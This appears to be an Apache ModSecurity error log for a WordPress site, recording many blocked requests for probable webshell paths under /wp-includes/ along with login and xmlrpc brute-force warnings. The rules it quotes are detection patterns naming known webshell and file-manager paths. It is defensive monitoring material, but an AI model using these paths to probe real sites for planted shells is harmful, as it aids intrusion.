[Sat Feb 28 17:45:17.151170 2026] [:error] [pid 49763:tid 49775] [client 209.87.169.160:44747] [client 209.87.169.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaK5LbTHSOG_yf2PpqEpkAAAAck"]
[Sat Feb 28 17:45:25.439461 2026] [:error] [pid 39184:tid 39230] [client 209.87.169.171:40971] [client 209.87.169.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaK5NVtZF9Zd_U7easBO6QAAAEs"]
[Sat Feb 28 17:45:27.856684 2026] [:error] [pid 52460:tid 52463] [client 185.198.240.159:54401] [client 185.198.240.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaK5N7LWOogAgHGh62S_CwAAAYA"]
[Sat Feb 28 17:45:33.289488 2026] [:error] [pid 49763:tid 49781] [client 185.198.240.158:51023] [client 185.198.240.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit.php"] [unique_id "aaK5PbTHSOG_yf2PpqEpxQAAAc8"]
[Sat Feb 28 17:45:38.878966 2026] [:error] [pid 39184:tid 39237] [client 45.131.195.252:53945] [client 45.131.195.252] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaK5QltZF9Zd_U7easBO_AAAAFI"]
[Sat Feb 28 17:45:42.767166 2026] [:error] [pid 49763:tid 49789] [client 209.87.169.162:34127] [client 209.87.169.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/click.php"] [unique_id "aaK5RrTHSOG_yf2PpqEqAAAAAdc"]
[Sat Feb 28 17:45:49.301817 2026] [:error] [pid 52460:tid 52485] [client 185.198.240.159:27851] [client 185.198.240.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaK5TbLWOogAgHGh62S_igAAAZY"]
[Sat Feb 28 17:46:00.563281 2026] [:error] [pid 49763:tid 49787] [client 209.87.169.166:49589] [client 209.87.169.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaK5WLTHSOG_yf2PpqEqrAAAAdU"]
[Sat Feb 28 17:46:01.037313 2026] [:error] [pid 49763:tid 49773] [client 185.198.240.98:52259] [client 185.198.240.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/xl2023.php"] [unique_id "aaK5WbTHSOG_yf2PpqEqsgAAAcc"]
[Sat Feb 28 17:46:01.676867 2026] [:error] [pid 39183:tid 39208] [client 185.198.240.180:25309] [client 185.198.240.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaK5WRCf4HvhVePw3LZbfQAAABA"]
[Sat Feb 28 17:46:02.186075 2026] [:error] [pid 52460:tid 52464] [client 185.198.240.172:23269] [client 185.198.240.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaK5WrLWOogAgHGh62S_xQAAAYE"]
[Sat Feb 28 17:46:05.707886 2026] [:error] [pid 49763:tid 49770] [client 185.198.240.98:41715] [client 185.198.240.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaK5XbTHSOG_yf2PpqEq4AAAAcQ"]
[Sat Feb 28 17:46:06.195407 2026] [:error] [pid 39183:tid 39211] [client 209.87.169.157:45003] [client 209.87.169.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaK5XhCf4HvhVePw3LZbigAAABM"]
[Sat Feb 28 17:46:11.182914 2026] [:error] [pid 39183:tid 39192] [client 185.198.240.178:56019] [client 185.198.240.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/index.php"] [unique_id "aaK5YxCf4HvhVePw3LZbsAAAAAA"]
[Sat Feb 28 17:46:11.662088 2026] [:error] [pid 52460:tid 52483] [client 185.198.240.180:24429] [client 185.198.240.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaK5Y7LWOogAgHGh62S_5wAAAZQ"]
[Sat Feb 28 17:46:12.174594 2026] [:error] [pid 52460:tid 52473] [client 185.198.240.168:45871] [client 185.198.240.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaK5ZLLWOogAgHGh62S_7QAAAYo"]
[Sat Feb 28 17:46:12.721140 2026] [:error] [pid 52460:tid 52483] [client 185.198.240.178:58287] [client 185.198.240.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaK5ZLLWOogAgHGh62S_9AAAAZQ"]
[Sat Feb 28 17:46:15.136225 2026] [:error] [pid 52460:tid 52471] [client 185.198.240.164:60045] [client 185.198.240.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaK5Z7LWOogAgHGh62TAAAAAAYg"]
[Sat Feb 28 17:46:19.032208 2026] [:error] [pid 39292:tid 39296] [client 185.198.240.181:35105] [client 185.198.240.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaK5a6IAO5fN7BxyqcEyIwAAAMI"]
[Sat Feb 28 17:46:25.596320 2026] [:error] [pid 49763:tid 49779] [client 185.198.240.179:32465] [client 185.198.240.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaK5cbTHSOG_yf2PpqEraQAAAc0"]
[Sat Feb 28 17:46:38.569599 2026] [:error] [pid 52460:tid 52472] [client 209.87.169.159:34467] [client 209.87.169.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/file.php"] [unique_id "aaK5frLWOogAgHGh62TAewAAAYk"]
[Sat Feb 28 17:46:44.331084 2026] [:error] [pid 49763:tid 49778] [client 173.239.214.180:63811] [client 173.239.214.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaK5hLTHSOG_yf2PpqErvAAAAcw"]
[Sat Feb 28 17:46:44.781656 2026] [:error] [pid 39183:tid 39194] [client 185.198.240.181:50183] [client 185.198.240.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaK5hBCf4HvhVePw3LZcBgAAAAI"]
[Sat Feb 28 17:46:51.628131 2026] [:error] [pid 39184:tid 39232] [client 209.87.169.156:43277] [client 209.87.169.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaK5i1tZF9Zd_U7easBPdwAAAE0"]
[Sat Feb 28 17:46:57.281260 2026] [proxy_fcgi:error] [pid 39183:tid 39201] [client 173.239.214.181:57527] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:46:57.499360 2026] [proxy_fcgi:error] [pid 39183:tid 39204] [client 173.239.214.181:57527] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:46:57.823926 2026] [proxy_fcgi:error] [pid 39183:tid 39206] [client 173.239.214.181:57527] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:47:03.470050 2026] [:error] [pid 39183:tid 39214] [client 173.239.214.181:57527] [client 173.239.214.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaK5lxCf4HvhVePw3LZcMgAAABY"]
[Sat Feb 28 17:47:03.960749 2026] [:error] [pid 52460:tid 52477] [client 185.198.240.160:41427] [client 185.198.240.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaK5l7LWOogAgHGh62TBUQAAAY4"]
[Sat Feb 28 17:47:04.683569 2026] [:error] [pid 39183:tid 39195] [client 185.198.240.161:47595] [client 185.198.240.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaK5mBCf4HvhVePw3LZcNAAAAAM"]
[Sat Feb 28 17:47:05.206467 2026] [:error] [pid 52460:tid 52484] [client 209.87.169.168:32237] [client 209.87.169.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaK5mbLWOogAgHGh62TBWgAAAZU"]
[Sat Feb 28 17:47:05.712638 2026] [:error] [pid 52460:tid 52477] [client 209.87.169.169:42889] [client 209.87.169.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaK5mbLWOogAgHGh62TBZAAAAY4"]
[Sat Feb 28 17:47:06.150642 2026] [:error] [pid 52460:tid 52479] [client 45.131.195.214:34027] [client 45.131.195.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaK5mrLWOogAgHGh62TBawAAAZA"]
[Sat Feb 28 17:47:07.998256 2026] [:error] [pid 52460:tid 52467] [client 185.198.240.176:33599] [client 185.198.240.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaK5m7LWOogAgHGh62TBggAAAYQ"]
[Sat Feb 28 17:47:08.549368 2026] [:error] [pid 52460:tid 52474] [client 45.131.195.217:20091] [client 45.131.195.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaK5nLLWOogAgHGh62TBigAAAYs"]
[Sat Feb 28 17:47:09.287487 2026] [:error] [pid 39183:tid 39216] [client 209.87.169.167:58361] [client 209.87.169.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaK5nRCf4HvhVePw3LZcOQAAABg"]
[Sat Feb 28 17:47:09.753878 2026] [:error] [pid 39183:tid 39196] [client 209.87.169.168:40965] [client 209.87.169.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaK5nRCf4HvhVePw3LZcPgAAAAQ"]
[Sat Feb 28 17:47:13.596757 2026] [:error] [pid 52460:tid 52469] [client 209.87.169.159:56827] [client 209.87.169.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaK5obLWOogAgHGh62TBpwAAAYY"]
[Sat Feb 28 17:47:15.484079 2026] [:error] [pid 52460:tid 52476] [client 209.87.169.166:27993] [client 209.87.169.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaK5o7LWOogAgHGh62TBuwAAAY0"]
[Sat Feb 28 17:47:19.631745 2026] [:error] [pid 49763:tid 49775] [client 209.87.169.156:29529] [client 209.87.169.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaK5p7THSOG_yf2PpqEsMQAAAck"]
[Sat Feb 28 17:47:23.623568 2026] [:error] [pid 39184:tid 39223] [client 185.198.240.171:36117] [client 185.198.240.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/about.php"] [unique_id "aaK5q1tZF9Zd_U7easBPoAAAAEQ"]
[Sat Feb 28 17:47:29.503837 2026] [:error] [pid 39184:tid 39238] [client 185.198.240.163:48031] [client 185.198.240.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaK5sVtZF9Zd_U7easBPpAAAAFM"]
[Sat Feb 28 17:47:36.613958 2026] [:error] [pid 52460:tid 52476] [client 209.87.169.168:49689] [client 209.87.169.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaK5uLLWOogAgHGh62TCIwAAAY0"]
[Sat Feb 28 17:47:39.982927 2026] [:error] [pid 11791:tid 11817] [client 45.131.195.214:32107] [client 45.131.195.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-class.php"] [unique_id "aaK5u2uX5e1Q32gqxH2JkAAAARg"]
[Sat Feb 28 17:47:57.954468 2026] [:error] [pid 52460:tid 52481] [client 74.7.227.177:46216] [client 74.7.227.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaK5zbLWOogAgHGh62TCVwAAAZI"], referer: https://gigfragments.org/
[Sat Feb 28 17:48:06.908186 2026] [:error] [pid 49763:tid 49774] [client 45.131.195.215:41437] [client 45.131.195.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaK51rTHSOG_yf2PpqEtkwAAAcg"]
[Sat Feb 28 17:48:07.343926 2026] [:error] [pid 49763:tid 49782] [client 209.87.169.171:20295] [client 209.87.169.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaK517THSOG_yf2PpqEtmwAAAdA"]
[Sat Feb 28 17:48:07.835194 2026] [:error] [pid 52460:tid 52486] [client 185.198.240.158:32333] [client 185.198.240.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaK517LWOogAgHGh62TChQAAAZc"]
[Sat Feb 28 17:48:11.593318 2026] [:error] [pid 52460:tid 52487] [client 185.198.240.158:32333] [client 185.198.240.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaK527LWOogAgHGh62TCogAAAZg"]
[Sat Feb 28 17:48:18.363103 2026] [:error] [pid 52460:tid 52479] [client 209.87.169.156:22755] [client 209.87.169.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaK54rLWOogAgHGh62TC1QAAAZA"]
[Sat Feb 28 17:48:19.676970 2026] [:error] [pid 22194:tid 22216] [client 185.198.240.98:26507] [client 185.198.240.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaK5436mbajs3bzQGyt9kwAAAVQ"]
[Sat Feb 28 17:48:28.046579 2026] [:error] [pid 49763:tid 49785] [client 209.87.169.162:49815] [client 209.87.169.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaK57LTHSOG_yf2PpqEuDgAAAdM"]
[Sat Feb 28 17:48:28.503152 2026] [:error] [pid 39183:tid 39196] [client 209.87.169.159:36445] [client 209.87.169.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aaK57BCf4HvhVePw3LZcnAAAAAQ"]
[Sat Feb 28 17:48:37.440852 2026] [:error] [pid 39292:tid 39304] [client 185.198.240.180:59795] [client 185.198.240.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaK59aIAO5fN7BxyqcEypAAAAMo"]
[Sat Feb 28 17:48:41.314527 2026] [proxy_fcgi:error] [pid 49763:tid 49766] [client 185.198.240.158:35759] AH01071: Got error 'Primary script unknown'
